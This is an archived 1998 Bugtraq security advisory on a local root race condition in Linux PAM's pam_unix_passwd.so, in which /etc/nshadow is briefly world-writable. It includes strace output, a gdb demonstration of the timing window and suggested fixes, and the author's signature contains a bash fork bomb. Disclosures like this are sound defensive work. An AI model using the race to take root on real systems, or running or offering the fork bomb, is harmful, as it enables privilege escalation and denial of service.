home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / library / hack99 / pam_unix_passwd_so.txt < prev    next >
Encoding:
Internet Message Format  |  1999-03-24  |  3.3 KB

  1. Date: Wed, 23 Dec 1998 13:12:45 +0100
  2. From: Michal Zalewski <lcamtuf@IDS.PL>
  3. Reply-To: Bugtraq List <BUGTRAQ@netspace.org>
  4. To: BUGTRAQ@netspace.org
  5. Subject: Linux PAM (up to 0.64-2) local root compromise
  6.  
  7. As someone said, "Never make any mistaeks."
  8.  
  9. Latest release of Linux Pluggable Authentication Modules (pam-0.64-2, as
  10. well as previous ones), has huge security flaw in pam_unix_passwd.so
  11. module, which can be exploited to gain read/write permissions to
  12. /etc/shadow file.
  13.  
  14. Vunerable platforms:
  15. --------------------
  16.  
  17. Almost any Linux with PAM + PAM-compliant passwd utility. Both RFC and
  18. PAM readme recommends pam_unix_passwd.so as default password manipulation
  19. routine. Note: RedHat 5.x distribution isn't vunerable, because this
  20. module is obsoleted with newer, universal pam_pwdb.so, while bug in
  21. pam_unix_passwd.so (shipped with dist) is still present.
  22.  
  23. In the other words, if you have Linux PAM installed on your system 'by
  24. hand', as described in RFC/FAQs, your system is vunerable. Default RedHat 5.x
  25. installation is less or more secure. We have no information about other
  26. PAM-compliant distributions.
  27.  
  28. There's no information about SunOS/Solaris/etc PAM, as it's slightly
  29. different than Linux version.
  30.  
  31. Quick vunerability test:
  32. $ grep pam_unix_passwd /etc/pam.conf /etc/pam.d/passwd
  33.  
  34. Compromise:
  35. -----------
  36.  
  37. - Read and write permissions to /etc/shadow file,
  38. - Superuser privledges, locally.
  39.  
  40. Description:
  41. ------------
  42.  
  43. Default password change routine in pam_unix_passwd.so module, called
  44. >from passwd utility, creates temporary file /etc/nshadow using fopen().
  45. Unfortunately, process umask isn't changed. After approx. 3 syscalls,
  46. chmod is called to set proper mode on this file (0600). But, for these
  47. 3 syscalls, file permissions are equal to 0666 ~ umask. If umask of
  48. current process (which is inherited from parent process, of course)
  49. is set to 0, we have /etc/nshadow file with permissions 0666. Then,
  50. after all, it's moved using rename() to /etc/shadow. Cute.
  51.  
  52. strace output for critical part of code:
  53.  
  54. 2957  open("/etc/nshadow", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 8
  55. [...]
  56. 2957  chown("/etc/nshadow", 0, 0)       = 0
  57. 2957  chmod("/etc/nshadow", 0600)       = 0
  58. [...]
  59. 2957  rename("/etc/nshadow", "/etc/shadow") = 0
  60.  
  61. Impact:
  62. -------
  63.  
  64. <ttyp1>
  65. [lcamtuf@nimue /]$ umask 0
  66. [lcamtuf@nimue /]$ echo $$
  67. 3023
  68. [lcamtuf@nimue /]$ exec passwd
  69. Changing password for lcamtuf
  70. (current) UNIX password:
  71. New UNIX password:
  72. <ttyp2>
  73. [root@nimue /root]# gdb passwd 3023
  74. Attaching to program `/usr/bin/passwd', process 3023
  75. [...]
  76. 0x400c37b4 in __read ()
  77. (gdb) break chown
  78. Breakpoint 1 at 0x400c4480
  79. (gdb) c
  80. Continuing.
  81. <ttyp1>
  82. Retype new UNIX password:
  83. <ttyp2>
  84. Breakpoint 1, 0x400c4480 in chown ()
  85. <ttyp3>
  86. [root@nimue /root]# ls -la /etc/nshadow
  87. -rw-rw-rw-   1 root     root            0 Dec  4 11:56 /etc/nshadow
  88.  
  89. Typical race. Considerated exploitable :-)
  90.  
  91. The closing:
  92. ------------
  93.  
  94. Lame fix:   chmod -s /usr/bin/passwd
  95. Better fix: add umask(077); somewhere ;P
  96. Thanks to:  Nises and manY for patience :-)
  97.  
  98. _______________________________________________________________________
  99. Michal Zalewski [lcamtuf@ids.pl] [ENSI / marchew] [dione.ids.pl SYSADM]
  100. [http://linux.lepszy.od.kobiety.pl/~lcamtuf/] <=--=> bash$ :(){ :|:&};:
  101. [voice phone: +48 (0) 22 813 25 86] ? [pager (MetroBip): 0 642 222 813]
  102. Iterowac jest rzecza ludzka, wykonywac rekursywnie - boska [P. Deutsch]
  103.